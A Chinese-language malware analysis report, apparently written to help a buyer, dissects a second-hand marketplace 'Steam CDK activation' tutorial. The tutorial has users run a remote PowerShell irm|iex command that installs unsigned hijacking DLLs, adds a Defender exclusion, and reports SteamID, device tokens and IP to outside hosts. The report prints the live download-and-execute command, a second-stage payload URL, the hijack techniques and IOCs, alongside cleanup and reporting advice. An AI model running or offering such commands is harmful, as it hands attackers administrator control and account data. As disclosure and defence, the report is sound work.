闲鱼“Steam 激活 CDK”木马风险取证报告

一、你发给我的教程截图

红圈处就是投递命令，方法一和方法二本质相同，方法二额外要求管理员权限：

截图中的命令：powershell irm stma.ly870.vip| iex（方法二为 irm stma.ly870.vip| iex，在“终端管理员”里运行）。

二、这条命令到底做了什么

正常软件不会用这种方式安装。它的特点是：不落盘、不弹窗、不校验签名、内容随时可换。卖家今天可以让你装“激活工具”，明天同一个网址就能下发盗号木马、勒索程序或挖矿程序，你这边没有任何提示。

我实际抓到的内容

我只做了下载和阅读，没有执行。该地址返回的是一段 70,011 字节的 PowerShell 脚本：

三、脚本行为逐条拆解

以下内容全部来自脚本原文，括号内为脚本行号：

1. 伪装界面：先打印一个巨大的 “STEAM” ASCII 艺术字，让你以为这是官方程序（第 35–63 行）。
2. 自我提权到管理员：检测当前是否管理员；不是就下载第二阶段 https://cdk3.cc.cd/payload.ps1 到 %TEMP%\steam_boot_<随机>.ps1，再用 Start-Process -Verb RunAs 弹 UAC 重新运行（第 66–121 行）。
3. 重置你的网络设置：
   • netsh winhttp reset proxy（第 231 行）
   • 把 IE/系统代理关闭并删除 AutoConfigURL（第 224–230 行）
   • 把所有启用中的网卡 DNS 改成 223.5.5.5 和 1.1.1.1（第 232–236 行）
   • 刷新 DNS 缓存、强制同步系统时间（第 237、1307 行起）
4. 结束 Steam：Stop-ProcessByName -ProcessName "steam"，强杀所有 Steam 进程（第 252–273、380 行）。
5. 把 Steam 目录加入 Defender 白名单：Add-MpPreference -ExclusionPath $steamPath（第 450–462 行）。这是最危险的一步——之后 Windows Defender 不会扫描 Steam 目录里被塞进去的任何文件。
6. 清理“竞品”：删除 Steam 根目录下 version.dll、dwmapi.dll、xinput1_4.dll、hid.dll、dinput8.dll、steam_emu.ini 等一批文件，并删除 HKCU/HKLM\Software\Valve\Steamtools 注册表键（第 1195–1276 行）。说明这是一个和其他“假入库”工具互相抢地盘的商业工具。
7. 下载并安装 DLL：从蓝奏云、down.platform.ly870.com、文叔叔三个源下载 steam.zip，解压到 Steam 安装目录（第 465–474、1280 行）。
8. 写注册表并启动 Steam：写入 HKCU:\Software\Valve\VapourTool\Running=0，然后执行 steam.exe -silent -forcesteamupdate（第 1393–1403 行）。

四、下载到的文件是什么

我跟随脚本里的直链，把 steam.zip 下载下来做了静态分析（未解压运行）。该直链会 302 跳转到中国区 SharePoint：puppetgg-my.sharepoint.cn（租户 tk_puppetgg_partner_onmschina_cn）。

1）hid.dll —— DLL 劫持代理

• SHA-256：e9d5199dfb5d4ca410f083cb083317e429e348cb7a2dabc77574ed0e1eb997fd
• 数字签名：未签名（Get-AuthenticodeSignature = NotSigned）
• 它导出了系统 hid.dll 的全部 45 个 HID 函数（HidD_*/HidP_*），用来冒充系统 DLL，避免 Steam 启动时报错。
• 它导入 LoadLibraryW/GetProcAddress，字符串里出现 %sVapourTool.dll、steam.exe、%s\steamclient64.dll——作用是：Steam 加载它之后，它再把 VapourTool.dll 加载进 Steam 进程。
• 还导入了 CopyFileW/MoveFileExW/SetFileAttributesW，具备自我复制/替换文件的能力。

2）VapourTool.dll —— 伪造授权 + 远程控制通道

• SHA-256：a1e57be6c882ac93f8572d4511554a36af1367921af93907390e1638e9e003b6
• 数字签名：未签名
• 编译路径字符串暴露了来源：D:\winx\OpenSteamTool\.deps\protobuf-src\...，即开源项目 OpenSteamTool 的改造版。
• 带 .detourc/.detourd 节区——使用 Microsoft Detours 做 API Hook，劫持 Steam 的授权、Depot、AppID 相关接口。
• 字符串里包含大量 addappid、setManifestid、depotcache、ProcessPendingLicenseUpdates、MarkLicenseAsChanged 等，说明它直接篡改 Steam 的本地授权状态。
• 会联网上报/拉取数据，内置以下地址：
  • https://manifest.drm.ly870.vip/manifest/%llu/%llu
  • https://manifest.opensteamtool.com/%llu
  • https://manifest.steam.run/api/manifest/%llu
  • https://manifest.manifestdex.com/%llu
  • http://gmrc.wudrm.com/manifest/%llu
  • https://stats.opensteamtool.com/%u
  • https://cdn.69idc.net/v1/jobs
  • https://cdn.jsdelivr.net/gh/mmxlyo/steam-monitor@
  • https://steam-monitor.520301.xyz/
  • https://api.ipify.org / https://ipv4.icanhazip.com / https://ip.3322.net / https://4.ipw.cn（查询你的公网 IP）
• 字符串中包含 device_token、?token=、&token=、X-EO-Token、existing_steam_id、steam_id、Software\Valve\Steam\Apps\%u——会读取并上报你的 SteamID、设备标识和 IP。
• 字符串中包含 VapourToolUpdater_Update_v1、VapourTool.dll.new、VapourTool.dll.new.part、VapourTool.toml——具备自我更新能力。

五、本机是否已经中招（核查记录）

说明：Defender 目前在你的机器上是关闭状态（AMServiceEnabled=False），所以“没有拦截记录”不能当作安全证明；上面的结论来自“安装行为留下的痕迹不存在”，证据强度更高。

六、这件事的性质

• 不是正版游戏，也不是普通盗版安装包。卖家没有交付游戏文件，而是让你运行远程脚本，在你的 Steam 里伪造授权（假入库）。
• CDK 是诱饵/令牌。它让流程看起来像“激活正版”，实际由 VapourTool 在本地伪造授权状态。
• 违反 Steam 用户协议。篡改客户端、伪造授权可能导致账号被限制或封禁；工具本身也会改动 Steam 文件。
• 存在真实的远程控制风险。远程脚本 + 管理员权限 + Defender 白名单 + 自动更新 + 远程任务接口，这四样组合在一起，已经构成可持续的入侵通道，而不只是一次性激活。

七、建议你立刻做的事

如果还没运行

1. 不要运行教程里的方法一、方法二、方法三（方法三是小飞机网盘的“Steam激活助手”，同样是可执行程序，不要下载）。
2. 不要把这个 CDK 输入到任何第三方网站；只在 Steam 官方客户端里尝试“添加游戏 → 在 Steam 上激活产品”。如果提示无效/区域限制，就停止。
3. 保留好闲鱼商品页、聊天记录、付款记录、教程链接和本报告，作为举证材料。

如果已经运行过

1. 立刻断网，退出 Steam。
2. 删除 Steam 目录下的 hid.dll、VapourTool.dll、VapourTool.toml（如果存在）。
3. 删除注册表 HKCU\Software\Valve\VapourTool 和 HKCU/HKLM\Software\SteamTools。
4. 打开“Windows 安全中心 → 病毒和威胁防护 → 排除项”，删除 Steam 目录的排除项。
5. 把网卡 DNS 改回“自动获取”，或重新运行 netsh winhttp reset proxy 后重启。
6. 在 Steam 里对 Steam 客户端执行“验证文件完整性”，必要时卸载重装 Steam。
7. 修改 Steam 密码、开启 Steam Guard、在“已授权设备”里移除不认识的设备。
8. 用 Defender 或其他杀毒软件做一次全盘扫描（你的 Defender 当前是关闭的，建议至少临时开启一次）。

八、IOC（可用于举报/提交平台）

域名 / URL

文件哈希（SHA-256）

你可以把上面的哈希粘贴到 VirusTotal 搜索框，查看多引擎检测结果：https://www.virustotal.com/gui/search/<哈希>。由于这些文件是 2026-10-17 新编译的，可能暂时没有厂商收录。

解析到的 IP（仅作参考）

九、举证建议

1. 闲鱼商品页与聊天记录：截图保存卖家对“正版/激活/入库”的描述、发你的 CDK 和飞书链接。
2. 付款记录：支付宝/微信账单截图。
3. 本报告：可直接作为“卖家要求运行远程脚本、下发未签名 DLL”的技术证据。
4. 平台举报：闲鱼客服/举报入口，理由选“售卖盗版/欺诈/诱导下载不明程序”。如涉及金额较大或账号被盗，可向 12321 或当地网警报案。
5. 不要删除证据：教程链接、聊天记录、压缩包和哈希都保留；不要为了让“游戏能玩”再运行第二次。